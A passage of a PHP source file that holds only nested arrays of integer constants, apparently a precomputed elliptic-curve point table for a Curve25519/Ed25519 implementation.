690426, 14876244), array(24977353, -314384, -8223969, -13465086, 28432343, -1176353, -13068804, -12297348, -22380984, 6618999), array(-1538174, 11685646, 12944378, 13682314, -24389511, -14413193, 8044829, -13817328, 32239829, -5652762), ), array( array(-18603066, 4762990, -926250, 8885304, -28412480, -3187315, 9781647, -10350059, 32779359, 5095274), array(-33008130, -5214506, -32264887, -3685216, 9460461, -9327423, -24601656, 14506724, 21639561, -2630236), array(-16400943, -13112215, 25239338, 15531969, 3987758, -4499318, -1289502, -6863535, 17874574, 558605), ), array( array(-13600129, 10240081, 9171883, 16131053, -20869254, 9599700, 33499487, 5080151, 2085892, 5119761), array(-22205145, -2519528, -16381601, 414691, -25019550, 2170430, 30634760, -8363614, -31999993, -5759884), array(-6845704, 15791202, 8550074, -1312654, 29928809, -12092256, 27534430, -7192145, -22351378, 12961482), ), array( array(-24492060, -9570771, 10368194, 11582341, -23397293, -2245287, 16533930, 8206996, -30194652, -5159638), array(-11121496, -3382234, 2307366, 6362031, -135455, 8868177, -16835630, 7031275, 7589640, 8945490), array(-32152748, 8917967, 6661220, -11677616, -1192060, -15793393, 7251489, -11182180, 24099109, -14456170), ), array( array(5019558, -7907470, 4244127, -14714356, -26933272, 6453165, -19118182, -13289025, -6231896, -10280736), array(10853594, 10721687, 26480089, 5861829, -22995819, 1972175, -1866647, -10557898, -3363451, -6441124), array(-17002408, 5906790, 221599, -6563147, 7828208, -13248918, 24362661, -2008168, -13866408, 7421392), ), array( array(8139927, -6546497, 32257646, -5890546, 30375719, 1886181, -21175108, 15441252, 28826358, -4123029), array(6267086, 9695052, 7709135, -16603597, -32869068, -1886135, 14795160, -7840124, 13746021, -1742048), array(28584902, 7787108, -6732942, -15050729, 22846041, -7571236, -3181936, -363524, 4771362, -8419958), ), ), array( array( array(24949256, 6376279, -27466481, -8174608, -18646154, -9930606, 33543569, -12141695, 3569627, 11342593), array(26514989, 4740088, 27912651, 3697550, 19331575, -11472339, 6809886, 4608608, 7325975, -14801071), array(-11618399, -14554430, -24321212, 7655128, -1369274, 5214312, -27400540, 10258390, -17646694, -8186692), ), array( array(11431204, 15823007, 26570245, 14329124, 18029990, 4796082, -31446179, 15580664, 9280358, -3973687), array(-160783, -10326257, -22855316, -4304997, -20861367, -13621002, -32810901, -11181622, -15545091, 4387441), array(-20799378, 12194512, 3937617, -5805892, -27154820, 9340370, -24513992, 8548137, 20617071, -7482001), ), array( array(-938825, -3930586, -8714311, 16124718, 24603125, -6225393, -13775352, -11875822, 24345683, 10325460), array(-19855277, -1568885, -22202708, 8714034, 14007766, 6928528, 16318175, -1010689, 4766743, 3552007), array(-21751364, -16730916, 1351763, -803421, -4009670, 3950935, 3217514, 14481909, 10988822, -3994762), ), array( array(15564307, -14311570, 3101243, 5684148, 30446780, -8051356, 12677127, -6505343, -8295852, 13296005), array(-9442290, 6624296, -30298964, -11913677, -4670981, -2057379, 31521204, 9614054, -30000824, 12074674), array(4771191, -135239, 14290749, -13089852, 27992298, 14998318, -1413936, -1556716, 29832613, -16391035), ), array( array(7064884, -7541174, -19161962, -5067537, -18891269, -2912736, 25825242, 5293297, -27122660, 13101590), array(-2298563, 2439670, -7466610, 1719965, -27267541, -16328445, 32512469, -5317593, -30356070, -4190957), array(-30006540, 10162316, -33180176, 3981723, -16482138, -13070044, 14413974, 9515896, 19568978, 9628812), ), array( array(33053803, 199357, 15894591, 1583059, 27380243, -4580435, -17838894, -6106839, -6291786, 3437740), array(-18978877, 3884493, 19469877, 12726490, 15913552, 13614290, -22961733, 70104, 7463304, 4176122), array(-27124001, 10659917, 11482427, -16070381, 12771467, -6635117, -32719404, -5322751, 24216882, 5944158), ), array( array(8894125, 7450974, -2664149, -9765752, -28080517, -12389115, 19345746, 14680796, 11632993, 5847885), array(26942781, -2315317, 9129564, -4906607, 26024105, 11769399, -11518837, 6367194, -9727230, 4782140), array(19916461, -4828410, -22910704, -11414391, 25606324, -5972441, 33253853, 8220911, 6358847, -1873857), ), array( array(801428, -2081702, 16569428, 11065167, 29875704, 96627, 7908388, -4480480, -13538503, 1387155), array(19646058, 5720633, -11416706, 12814209, 11607948, 12749789, 14147075, 15156355, -21866831, 11835260), array(19299512, 1155910, 28703737, 14890794, 2925026, 7269399, 26121523, 15467869, -26560550, 5052483), ), ), array( array( array(-3017432, 10058206, 1980837, 3964243, 22160966, 12322533, -6431123, -12618185, 12228557, -7003677), array(32944382, 14922211, -22844894, 5188528, 21913450, -8719943, 4001465, 13238564, -6114803, 8653815), array(22865569, -4652735, 27603668, -12545395, 14348958, 8234005, 24808405, 5719875, 28483275, 2841751), ), array( array(-16420968, -1113305, -327719, -12107856, 21886282, -15552774, -1887966, -315658, 19932058, -12739203), array(-11656086, 10087521, -8864888, -5536143, -19278573, -3055912, 3999228, 13239134, -4777469, -13910208), array(1382174, -11694719, 17266790, 9194690, -13324356, 9720081, 20403944, 11284705, -14013818, 3093230), ), array( array(16650921, -11037932, -1064178, 1570629, -8329746, 7352753, -302424, 16271225, -24049421, -6691850), array(-21911077, -5927941, -4611316, -5560156, -31744103, -10785293, 24123614, 15193618, -21652117, -16739389), array(-9935934, -4289447, -25279823, 4372842, 2087473, 10399484, 31870908, 14690798, 17361620, 11864968), ), array( array(-11307610, 6210372, 13206574, 5806320, -29017692, -13967200, -12331205, -7486601, -25578460, -16240689), array(14668462, -12270235, 26039039, 15305210, 25515617, 4542480, 10453892, 6577524, 9145645, -6443880), array(5974874, 3053895, -9433049, -10385191, -31865124, 3225009, -7972642, 3936128, -5652273, -3050304), ), array( array(30625386, -4729400, -25555961, -12792866, -20484575, 7695099, 17097188, -16303496, -27999779, 1803632), array(-3553091, 9865099, -5228566, 4272701, -5673832, -16689700, 14911344, 12196514, -21405489, 7047412), array(20093277, 9920966, -11138194, -5343857, 13161587, 12044805, -32856851, 4124601, -32343828, -10257566), ), array( array(-20788824, 14084654, -13531713, 7842147, 19119038, -13822605, 4752377, -8714640, -21679658, 2288038), array(-26819236, -3283715, 29965059, 3039786, -14473765, 2540457, 29457502, 14625692, -24819617, 12570232), array(-1063558, -11551823, 16920318, 12494842, 1278292, -5869109, -21159943, -3498680, -11974704, 4724943), ), array( array(17960970, -11775534, -4140968, -9702530, -8876562, -1410617, -12907383, -8659932, -29576300, 1903856), array(23134274, -14279132, -10681997, -1611936, 20684485, 15770816, -12989750, 3190296, 26955097, 14109738), array(15308788, 5320727, -30113809, -14318877, 22902008, 7767164, 29425325, -11277562, 31960942, 11934971), ), array( array(-27395711, 8435796, 4109644, 12222639, -24627868, 14818669, 20638173, 4875028, 10491392, 1379718), array(-13159415, 9197841, 3875503, -8936108, -1383712, -5879801, 33518459, 16176658, 21432314, 12180697), array(-11787308, 11500838, 13787581, -13832590, -22430679, 10140205, 1465425, 12689540, -10301319, -13872883), ), ), array( array( array(5414091, -15386041, -21007664, 9643570, 12834970, 1186149, -2622916, -1342231, 26128231, 6032912), array(-26337395, -13766162, 32496025, -13653919, 17847801, -12669156, 3604025, 8316894, -25875034, -10437358), array(3296484, 6223048, 24680646, -12246460, -23052020, 5903205, -8862297, -4639164, 12376617, 3188849), ), array( array(29190488, -14659046, 27549113, -1183516, 3520066, -10697301, 32049515, -7309113, -16109234, -9852307), array(-14744486, -9309156, 735818, -598978, -20407687, -5057904, 25246078, -15795669, 18640741, -960977), array(-6928835, -16430795, 10361374, 5642961, 4910474, 12345252, -31638386, -494430, 10530747, 1053335), ), array( array(-29265967, -14186805, -13538216, -12117373, -19457059, -10655384, -31462369, -2948985, 24018831, 15026644), array(-22592535, -3145277, -2289276, 5953843, -13440189, 9425631, 25310643, 13003497, -2314791, -15145616), array(-27419985, -603321, -8043984, -1669117, -26092265, 13987819, -27297622, 187899, -23166419, -2531735), ), array( array(-21744398, -13810475, 1844840, 5021428, -10434399, -15911473, 9716667, 16266922, -5070217, 726099), array(29370922, -6053998, 7334071, -15342259, 9385287, 2247707, -13661962, -4839461, 30007388, -15823341), array(-936379, 16086691, 23751945, -543318, -1167538, -5189036, 9137109, 730663, 9835848, 4555336), ), array( array(-23376435, 1410446, -22253753, -12899614, 30867635, 15826977, 17693930, 544696, -11985298, 12422646), array(31117226, -12215734, -13502838, 6561947, -9876867, -12757670, -5118685, -4096706, 29120153, 13924425), array(-17400879, -14233209, 19675799, -2734756, -11006962, -5858820, -9383939, -11317700, 7240931, -237388), ), array( array(-31361739, -11346780, -15007447, -5856218, -22453340, -12152771, 1222336, 4389483, 3293637, -15551743), array(-16684801, -14444245, 11038544, 11054958, -13801175, -3338533, -24319580, 7733547, 12796905, -6335822), array(-8759414, -10817836, -25418864, 10783769, -30615557, -9746811, -28253339, 3647836, 3222231, -11160462), ), array( array(18606113, 1693100, -25448386, -15170272, 4112353, 10045021, 23603893, -2048234, -7550776, 2484985), array(9255317, -3131197, -12156162, -1004256, 13098013, -9214866, 16377220, -2102812, -19802075, -3034702), array(-22729289, 7496160, -5742199, 11329249, 19991973, -3347502, -31718148, 9936966, -30097688, -10618797), ), array( array(21878590, -5001297, 4338336, 13643897, -3036865, 13160960, 19708896, 5415497, -7360503, -4109293), array(27736861, 10103576, 12500508, 8502413, -3413016, -9633558, 10436918, -1550276, -23659143, -8132100), array(19492550, -12104365, -29681976, -852630, -3208171, 12403437, 30066266, 8367329, 13243957, 8709688), ), ), array( array( array(12015105, 2801261, 28198131, 10151021, 24818120, -4743133, -11194191, -5645734, 5150968, 7274186), array(2831366, -12492146, 1478975, 6122054, 23825128, -12733586, 31097299, 6083058, 31021603, -9793610), array(-2529932, -2229646, 445613, 10720828, -13849527, -11505937, -23507731, 16354465, 15067285, -14147707), ), array( array(7840942, 14037873, -33364863, 15934016, -728213, -3642706, 21403988, 1057586, -19379462, -12403220), array(915865, -16469274, 15608285, -8789130, -24357026, 6060030, -17371319, 8410997, -7220461, 16527025), array(32922597, -556987, 20336074, -16184568, 10903705, -5384487, 16957574, 52992, 23834301, 6588044), ), array( array(32752030, 11232950, 3381995, -8714866, 22652988, -10744103, 17159699, 16689107, -20314580, -1305992), array(-4689649, 9166776, -25710296, -10847306, 11576752, 12733943, 7924251, -2752281, 1976123, -7249027), array(21251222, 16309901, -2983015, -6783122, 30810597, 12967303, 156041, -3371252, 12331345, -8237197), ), array( array(8651614, -4477032, -16085636, -4996994, 13002507, 2950805, 29054427, -5106970, 10008136, -4667901), array(31486080, 15114593, -14261250, 12951354, 14369431, -7387845, 16347321, -13662089, 8684155, -10532952), array(19443825, 11385320, 24468943, -9659068, -23919258, 2187569, -26263207, -6086921, 31316348, 14219878), ), array( array(-28594490, 1193785, 32245219, 11392485, 31092169, 15722801, 27146014, 6992409, 29126555, 9207390), array(32382935, 1110093, 18477781, 11028262, -27411763, -7548111, -4980517, 10843782, -7957600, -14435730), array(2814918, 7836403, 27519878, -7868156, -20894015, -11553689, -21494559, 8550130, 28346258, 1994730), ), array( array(-19578299, 8085545, -14000519, -3948622, 2785838, -16231307, -19516951, 7174894, 22628102, 8115180), array(-30405132, 955511, -11133838, -15078069, -32447087, -13278079, -25651578, 3317160, -9943017, 930272), array(-15303681, -6833769, 28856490, 1357446, 23421993, 1057177, 24091212, -1388970, -22765376, -10650715), ), array( array(-22751231, -5303997, -12907607, -12768866, -15811511, -7797053, -14839018, -16554220, -1867018, 8398970), array(-31969310, 2106403, -4736360, 1362501, 12813763, 16200670, 22981545, -6291273, 18009408, -15772772), array(-17220923, -9545221, -27784654, 14166835, 29815394, 7444469, 29551787, -3727419, 19288549, 1325865), ), array( array(15100157, -15835752, -23923978, -1005098, -26450192, 15509408, 12376730, -3479146, 33166107, -8042750), array(20909231, 13023121, -9209752, 16251778, -5778415, -8094914, 12412151, 10018715, 2213263, -13878373), array(32529814, -11074689, 30361439, -16689753, -9135940, 1513226, 22922121, 6382134, -5766928, 8371348), ), ), array( array( array(9923462, 11271500, 12616794, 3544722, -29998368, -1721626, 12891687, -8193132, -26442943, 10486144), array(-22597207, -7012665, 8587003, -8257861, 4084309, -12970062, 361726, 2610596, -23921530, -11455195), array(5408411, -1136691, -4969122, 10561668, 24145918, 14240566, 31319731, -4235541, 19985175, -3436086), ), array( array(-13994457, 16616821, 14549246, 3341099, 32155958, 13648976, -17577068, 8849297, 65030, 8370684), array(-8320926, -12049626, 31204563, 5839400, -20627288, -1057277, -19442942, 6922164, 12743482, -9800518), array(-2361371, 12678785, 28815050, 4759974, -23893047, 4884717, 23783145, 11038569, 18800704, 255233), ), array( array(-5269658, -1773886, 13957886, 7990715, 23132995, 728773, 13393847, 9066957, 19258688, -14753793), array(-2936654, -10827535, -10432089, 14516793, -3640786, 4372541, -31934921, 2209390, -1524053, 2055794), array(580882, 16705327, 5468415, -2683018, -30926419, -14696000, -7203346, -8994389, -30021019, 7394435), ), array( array(23838809, 1822728, -15738443, 15242727, 8318092, -3733104, -21672180, -3492205, -4821741, 14799921), array(13345610, 9759151, 3371034, -16137791, 16353039, 8577942, 31129804, 13496856, -9056018, 7402518), array(2286874, -4435931, -20042458, -2008336, -13696227, 5038122, 11006906, -15760352, 8205061, 1607563), ), array( array(14414086, -8002132, 3331830, -3208217, 22249151, -5594188, 18364661, -2906958, 30019587, -9029278), array(-27688051, 1585953, -10775053, 931069, -29120221, -11002319, -14410829, 12029093, 9944378, 8024), array(4368715, -3709630, 29874200, -15022983, -20230386, -11410704, -16114594, -999085, -8142388, 5640030), ), array( array(10299610, 13746483, 11661824, 16234854, 7630238, 5998374, 9809887, -16694564, 15219798, -14327783), array(27425505, -5719081, 3055006, 10660664, 23458024, 595578, -15398605, -1173195, -18342183, 9742717), array(6744077, 2427284, 26042789, 2720740, -847906, 1118974, 32324614, 7406442, 12420155, 1994844), ), array( array(14012521, -5024720, -18384453, -9578469, -26485342, -3936439, -13033478, -10909803, 24319929, -6446333), array(16412690, -4507367, 10772641, 15929391, -17068788, -4658621, 10555945, -10484049, -30102368, -4739048), array(22397382, -7767684, -9293161, -12792868, 17166287, -9755136, -27333065, 6199366, 21880021, -12250760), ), array( array(-4283307, 5368523, -31117018, 8163389, -30323063, 3209128, 16557151, 8890729, 8840445, 4957760), array(-15447727, 709327, -6919446, -10870178, -29777922, 6522332, -21720181, 12130072, -14796503, 5005757), array(-2114751, -14308128, 23019042, 15765735, -25269683, 6002752, 10183197, -13239326, -16395286, -2176112), ), ), array( array( array(-19025756, 1632005, 13466291, -7995100, -23640451, 16573537, -32013908, -3057104, 22208662, 2000468), array(3065073, -1412761, -25598674, -361432, -17683065, -5703415, -8164212, 11248527, -3691214, -7414184), array(10379208, -6045554, 8877319, 1473647, -29291284, -12507580, 16690915, 2553332, -3132688, 16400289), ), array( array(15716668, 1254266, -18472690, 7446274, -8448918, 6344164, -22097271, -7285580, 26894937, 9132066), array(24158887, 12938817, 11085297, -8177598, -28063478, -4457083, -30576463, 64452, -6817084, -2692882), array(13488534, 7794716, 22236231, 5989356, 25426474, -12578208, 2350710, -3418511, -4688006, 2364226), ), array( array(16335052, 9132434, 25640582, 6678888, 1725628, 8517937, -11807024, -11697457, 15445875, -7798101), array(29004207, -7867081, 28661402, -640412, -12794003, -7943086, 31863255, -4135540, -278050, -15759279), array(-6122061, -14866665, -28614905, 14569919, -10857999, -3591829, 10343412, -6976290, -29828287, -10815811), ), array( array(27081650, 3463984, 14099042, -4517604, 1616303, -6205604, 29542636, 15372179, 17293797, 960709), array(20263915, 11434237, -5765435, 11236810, 13505955, -10857102, -16111345, 6493122, -19384511, 7639714), array(-2830798, -14839232, 25403038, -8215196, -8317012, -16173699, 18006287, -16043750, 29994677, -15808121), ), array( array(9769828, 5202651, -24157398, -13631392, -28051003, -11561624, -24613141, -13860782, -31184575, 709464), array(12286395, 13076066, -21775189, -1176622, -25003198, 4057652, -32018128, -8890874, 16102007, 13205847), array(13733362, 5599946, 10557076, 3195751, -5557991, 8536970, -25540170, 8525972, 10151379, 10394400), ), array( array(4024660, -16137551, 22436262, 12276534, -9099015, -2686099, 19698229, 11743039, -33302334, 8934414), array(-15879800, -4525240, -8580747, -2934061, 14634845, -698278, -9449077, 3137094, -11536886, 11721158), array(17555939, -5013938, 8268606, 2331751, -22738815, 9761013, 9319229, 8835153, -9205489, -1280045), ), array( array(-461409, -7830014, 20614118, 16688288, -7514766, -4807119, 22300304, 505429, 6108462, -6183415), array(-5070281, 12367917, -30663534, 3234473, 32617080, -8422642, 29880583, -13483331, -26898490, -7867459), array(-31975283, 5726539, 26934134, 10237677, -3173717, -605053, 24199304, 3795095, 7592688, -14992079), ), array( array(21594432, -14964228, 17466408, -4077222, 32537084, 2739898, 6407723, 12018833, -28256052, 4298412), array(-20650503, -11961496, -27236275, 570498, 3767144, -1717540, 13891942, -1569194, 13717174, 10805743), array(-14676630, -15644296, 15287174, 11927123, 24177847, -8175568, -796431, 14860609, -26938930, -5863836), ), ), array( array( array(12962541, 5311799, -10060768, 11658280, 18855286, -7954201, 13286263, -12808704, -4381056, 9882022), array(18512079, 11319350, -20123124, 15090309, 18818594, 5271736, -22727904, 3666879, -23967430, -3299429), array(-6789020, -3146043, 16192429, 13241070, 15898607, -14206114, -10084880, -6661110, -2403099, 5276065), ), array( array(30169808, -5317648, 26306206, -11750859, 27814964, 7069267, 7152851, 3684982, 1449224, 13082861), array(10342826, 3098505, 2119311, 193222, 25702612, 12233820, 23697382, 15056736, -21016438, -8202000), array(-33150110, 3261608, 22745853, 7948688, 19370557, -15177665, -26171976, 6482814, -10300080, -11060101), ), array( array(32869458, -5408545, 25609743, 15678670, -10687769, -15471071, 26112421, 2521008, -22664288, 6904815), array(29506923, 4457497, 3377935, -9796444, -30510046, 12935080, 1561737, 3841096, -29003639, -6657642), array(10340844, -6630377, -18656632, -2278430, 12621151, -13339055, 30878497, -11824370, -25584551, 5181966), ), array( array(25940115, -12658025, 17324188, -10307374, -8671468, 15029094, 24396252, -16450922, -2322852, -12388574), array(-21765684, 9916823, -1300409, 4079498, -1028346, 11909559, 1782390, 12641087, 20603771, -6561742), array(-18882287, -11673380, 24849422, 11501709, 13161720, -4768874, 1925523, 11914390, 4662781, 7820689), ), array( array(12241050, -425982, 8132691, 9393934, 32846760, -1599620, 29749456, 12172924, 16136752, 15264020), array(-10349955, -14680563, -8211979, 2330220, -17662549, -14545780, 10658213, 6671822, 19012087, 3772772), array(3753511, -3421066, 10617074, 2028709, 14841030, -6721664, 28718732, -15762884, 20527771, 12988982), ), array( array(-14822485, -5797269, -3707987, 12689773, -898983, -10914866, -24183046, -10564943, 3299665, -12424953), array(-16777703, -15253301, -9642417, 4978983, 3308785, 8755439, 6943197, 6461331, -25583147, 8991218), array(-17226263, 1816362, -1673288, -6086439, 31783888, -8175991, -32948145, 7417950, -30242287, 1507265), ), array( array(29692663, 6829891, -10498800, 4334896, 20945975, -11906496, -28887608, 8209391, 14606362, -10647073), array(-3481570, 8707081, 32188102, 5672294, 22096700, 1711240, -33020695, 9761487, 4170404, -2085325), array(-11587470, 14855945, -4127778, -1531857, -26649089, 15084046, 22186522, 16002000, -14276837, -8400798), ), array( array(-4811456, 13761029, -31703877, -2483919, -3312471, 7869047, -7113572, -9620092, 13240845, 10965870), array(-7742563, -8256762, -14768334, -13656260, -23232383, 12387166, 4498947, 14147411, 29514390, 4302863), array(-13413405, -12407859, 20757302, -13801832, 14785143, 8976368, -5061276, -2144373, 17846988, -13971927), ), ), array( array( array(-2244452, -754728, -4597030, -1066309, -6247172, 1455299, -21647728, -9214789, -5222701, 12650267), array(-9906797, -16070310, 21134160, 12198166, -27064575, 708126, 387813, 13770293, -19134326, 10958663), array(22470984, 12369526, 23446014, -5441109, -21520802, -9698723, -11772496, -11574455, -25083830, 4271862), ), array( array(-25169565, -10053642, -19909332, 15361595, -5984358, 2159192, 75375, -4278529, -32526221, 8469673), array(15854970, 4148314, -8893890, 7259002, 11666551, 13824734, -30531198, 2697372, 24154791, -9460943), array(15446137, -15806644, 29759747, 14019369, 30811221, -9610191, -31582008, 12840104, 24913809, 9815020), ), array( array(-4709286, -5614269, -31841498, -12288893, -14443537, 10799414, -9103676, 13438769, 18735128, 9466238), array(11933045, 9281483, 5081055, -5183824, -2628162, -4905629, -7727821, -10896103, -22728655, 16199064), array(14576810, 379472, -26786533, -8317236, -29426508, -10812974, -102766, 1876699, 30801119, 2164795), ), array( array(15995086, 3199873, 13672555, 13712240, -19378835, -4647646, -13081610, -15496269, -13492807, 1268052), array(-10290614, -3659039, -3286592, 10948818, 23037027, 3794475, -3470338, -12600221, -17055369, 3565904), array(29210088, -9419337, -5919792, -4952785, 10834811, -13327726, -16512102, -10820713, -27162222, -14030531), ), array( array(-13161890, 15508588, 16663704, -8156150, -28349942, 9019123, -29183421, -3769423, 2244111, -14001979), array(-5152875, -3800936, -9306475, -6071583, 16243069, 14684434, -25673088, -16180800, 13491506, 4641841), array(10813417, 643330, -19188515, -728916, 30292062, -16600078, 27548447, -7721242, 14476989, -12767431), ), array( array(10292079, 9984945, 6481436, 8279905, -7251514, 7032743, 27282937, -1644259, -27912810, 12651324), array(-31185513, -813383, 22271204, 11835308, 10201545, 15351028, 17099662, 3988035, 21721536, -3148940), array(10202177, -6545839, -31373232, -9574638, -32150642, -8119683, -12906320, 3852694, 13216206, 14842320), ), array( array(-15815640, -10601066, -6538952, -7258995, -6984659, -6581778, -31500847, 13765824, -27434397, 9900184), array(14465505, -13833331, -32133984, -14738873, -27443187, 12990492, 33046193, 15796406, -7051866, -8040114), array(30924417, -8279620, 6359016, -12816335, 16508377, 9071735, -25488601, 15413635, 9524356, -7018878), ), array( array(12274201, -13175547, 32627641, -1785326, 6736625, 13267305, 5237659, -5109483, 15663516, 4035784), array(-2951309, 8903985, 17349946, 601635, -16432815, -4612556, -13732739, -15889334, -22258478, 4659091), array(-16916263, -4952973, -30393711, -15158821, 20774812, 15897498, 5736189, 15026997, -2178256, -13455585), ), ), array( array( array(-8858980, -2219056, 28571666, -10155518, -474467, -10105698, -3801496, 278095, 23440562, -290208), array(10226241, -5928702, 15139956, 120818, -14867693, 5218603, 32937275, 11551483, -16571960, -7442864), array(17932739, -12437276, -24039557, 10749060, 11316803, 7535897, 22503767, 5561594, -3646624, 3898661), ), array( array(7749907, -969567, -16339731, -16464, -25018111, 15122143, -1573531, 7152530, 21831162, 1245233), array(26958459, -14658026, 4314586, 8346991, -5677764, 11960072, -32589295, -620035, -30402091, -16716212), array(-12165896, 9166947, 33491384, 13673479, 29787085, 13096535, 6280834, 14587357, -22338025, 13987525), ), array( array(-24349909, 7778775, 21116000, 15572597, -4833266, -5357778, -4300898, -5124639, -7469781, -2858068), array(9681908, -6737123, -31951644, 13591838, -6883821, 386950, 31622781, 6439245, -14581012, 4091397), array(-8426427, 1470727, -28109679, -1596990, 3978627, -5123623, -19622683, 12092163, 29077877, -14741988), ), array( array(5269168, -6859726, -13230211, -8020715, 25932563, 1763552, -5606110, -5505881, -20017847, 2357889), array(32264008, -15407652, -5387735, -1160093, -2091322, -3946900, 23104804, -12869908, 5727338, 189038), array(14609123, -8954470, -6000566, -16622781, -14577387, -7743898, -26745169, 10942115, -25888931, -14884697), ), array( array(20513500, 5557931, -15604613, 7829531, 26413943, -2019404, -21378968, 7471781, 13913677, -5137875), array(-25574376, 11967826, 29233242, 12948236, -6754465, 4713227, -8940970, 14059180, 12878652, 8511905), array(-25656801, 3393631, -2955415, -7075526, -2250709, 9366908, -30223418, 6812974, 5568676, -3127656), ), array( array(11630004, 12144454, 2116339, 13606037, 27378885, 15676917, -17408753, -13504373, -14395196, 8070818), array(27117696, -10007378, -31282771, -5570088, 1127282, 12772488, -29845906, 10483306, -11552749, -1028714), array(10637467, -5688064, 5674781, 1072708, -26343588, -6982302, -1683975, 9177853, -27493162, 15431203), ), array( array(20525145, 10892566, -12742472, 12779443, -29493034, 16150075, -28240519, 14943142, -15056790, -7935931), array(-30024462, 5626926, -551567, -9981087, 753598, 11981191, 25244767, -3239766, -3356550, 9594024), array(-23752644, 2636870, -5163910, -10103818, 585134, 7877383, 11345683, -6492290, 13352335, -10977084), ), array( array(-1931799, -5407458, 3304649, -12884869, 17015806, -4877091, -29783850, -7752482, -13215537, -319204), array(20239939, 6607058, 6203985, 3483793, -18386976, -779229, -20723742, 15077870, -22750759, 14523817), array(27406042, -6041657, 27423596, -4497394, 4996214, 10002360, -28842031, -4545494, -30172742, -4805667), ), ), array( array( array(11374242, 12660715, 17861383, -12540833, 10935568, 1099227, -13886076, -9091740, -27727044, 11358504), array(-12730809, 10311867, 1510375, 10778093, -2119455, -9145702, 32676003, 11149336, -26123651, 4985768), array(-19096303, 341147, -6197485, -239033, 15756973, -8796662, -983043, 13794114, -19414307, -15621255), ), array( array(6490081, 11940286, 25495923, -7726360, 8668373, -8751316, 3367603, 6970005, -1691065, -9004790), array(1656497, 13457317, 15370807, 6364910, 13605745, 8362338, -19174622, -5475723, -16796596, -5031438), array(-22273315, -13524424, -64685, -4334223, -18605636, -10921968, -20571065, -7007978, -99853, -10237333), ), array( array(17747465, 10039260, 19368299, -4050591, -20630635, -16041286, 31992683, -15857976, -29260363, -5511971), array(31932027, -4986141, -19612382, 16366580, 22023614, 88450, 11371999, -3744247, 4882242, -10626905), array(29796507, 37186, 19818052, 10115756, -11829032, 3352736, 18551198, 3272828, -5190932, -4162409), ), array( array(12501286, 4044383, -8612957, -13392385, -32430052, 5136599, -19230378, -3529697, 330070, -3659409), array(6384877, 2899513, 17807477, 7663917, -2358888, 12363165, 25366522, -8573892, -271295, 12071499), array(-8365515, -4042521, 25133448, -4517355, -6211027, 2265927, -32769618, 1936675, -5159697, 3829363), ), array( array(28425966, -5835433, -577090, -4697198, -14217555, 6870930, 7921550, -6567787, 26333140, 14267664), array(-11067219, 11871231, 27385719, -10559544, -4585914, -11189312, 10004786, -8709488, -21761224, 8930324), array(-21197785, -16396035, 25654216, -1725397, 12282012, 11008919, 1541940, 4757911, -26491501, -16408940), ), array( array(13537262, -7759490, -20604840, 10961927, -5922820, -13218065, -13156584, 6217254, -15943699, 13814990), array(-17422573, 15157790, 18705543, 29619, 24409717, -260476, 27361681, 9257833, -1956526, -1776914), array(-25045300, -10191966, 15366585, 15166509, -13105086, 8423556, -29171540, 12361135, -18685978, 4578290), ), array( array(24579768, 3711570, 1342322, -11180126, -27005135, 14124956, -22544529, 14074919, 21964432, 8235257), array(-6528613, -2411497, 9442966, -5925588, 12025640, -1487420, -2981514, -1669206, 13006806, 2355433), array(-16304899, -13605259, -6632427, -5142349, 16974359, -10911083, 27202044, 1719366, 1141648, -12796236), ), array( array(-12863944, -13219986, -8318266, -11018091, -6810145, -4843894, 13475066, -3133972, 32674895, 13715045), array(11423335, -5468059, 32344216, 8962751, 24989809, 9241752, -13265253, 16086212, -28740881, -15642093), array(-1409668, 12530728, -6368726, 10847387, 19531186, -14132160, -11709148, 7791794, -27245943, 4383347), ), ), array( array( array(-28970898, 5271447, -1266009, -9736989, -12455236, 16732599, -4862407, -4906449, 27193557, 6245191), array(-15193956, 5362278, -1783893, 2695834, 4960227, 12840725, 23061898, 3260492, 22510453, 8577507), array(-12632451, 11257346, -32692994, 13548177, -721004, 10879011, 31168030, 13952092, -29571492, -3635906), ), array( array(3877321, -9572739, 32416692, 5405324, -11004407, -13656635, 3759769, 11935320, 5611860, 8164018), array(-16275802, 14667797, 15906460, 12155291, -22111149, -9039718, 32003002, -8832289, 5773085, -8422109), array(-23788118, -8254300, 1950875, 8937633, 18686727, 16459170, -905725, 12376320, 31632953, 190926), ), array( array(-24593607, -16138885, -8423991, 13378746, 14162407, 6901328, -8288749, 4508564, -25341555, -3627528), array(8884438, -5884009, 6023974, 10104341, -6881569, -4941533, 18722941, -14786005, -1672488, 827625), array(-32720583, -16289296, -32503547, 7101210, 13354605, 2659080, -1800575, -14108036, -24878478, 1541286), ), array( array(2901347, -1117687, 3880376, -10059388, -17620940, -3612781, -21802117, -3567481, 20456845, -1885033), array(27019610, 12299467, -13658288, -1603234, -12861660, -4861471, -19540150, -5016058, 29439641, 15138866), array(21536104, -6626420, -32447818, -10690208, -22408077, 5175814, -5420040, -16361163, 7779328, 109896), ), array( array(30279744, 14648750, -8044871, 6425558, 13639621, -743509, 28698390, 12180118, 23177719, -554075), array(26572847, 3405927, -31701700, 12890905, -19265668, 5335866, -6493768, 2378492, 4439158, -13279347), array(-22716706, 3489070, -9225266, -332753, 18875722, -1140095, 14819434, -12731527, -17717757, -5461437), ), array( array(-5056483, 16566551, 15953661, 3767752, -10436499, 15627060, -820954, 2177225, 8550082, -15114165), array(-18473302, 16596775, -381660, 15663611, 22860960, 15585581, -27844109, -3582739, -23260460, -8428588), array(-32480551, 15707275, -8205912, -5652081, 29464558, 2713815, -22725137, 15860482, -21902570, 1494193), ), array( array(-19562091, -14087393, -25583872, -9299552, 13127842, 759709, 21923482, 16529112, 8742704, 12967017), array(-28464899, 1553205, 32536856, -10473729, -24691605, -406174, -8914625, -2933896, -29903758, 15553883), array(21877909, 3230008, 9881174, 10539357, -4797115, 2841332, 11543572, 14513274, 19375923, -12647961), ), array( array(8832269, -14495485, 13253511, 5137575, 5037871, 4078777, 24880818, -6222716, 2862653, 9455043), array(29306751, 5123106, 20245049, -14149889, 9592566, 8447059, -2077124, -2990080, 15511449, 4789663), array(-20679756, 7004547, 8824831, -9434977, -4045704, -3750736, -5754762, 108893, 23513200, 16652362), ), ), array( array( array(-33256173, 4144782, -4476029, -6579123, 10770039, -7155542, -6650416, -12936300, -18319198, 10212860), array(2756081, 8598110, 7383731, -6859892, 22312759, -1105012, 21179801, 2600940, -9988298, -12506466), array(-24645692, 13317462, -30449259, -15653928, 21365574, -10869657, 11344424, 864440, -2499677, -16710063), ), array( array(-26432803, 6148329, -17184412, -14474154, 18782929, -275997, -22561534, 211300, 2719757, 4940997), 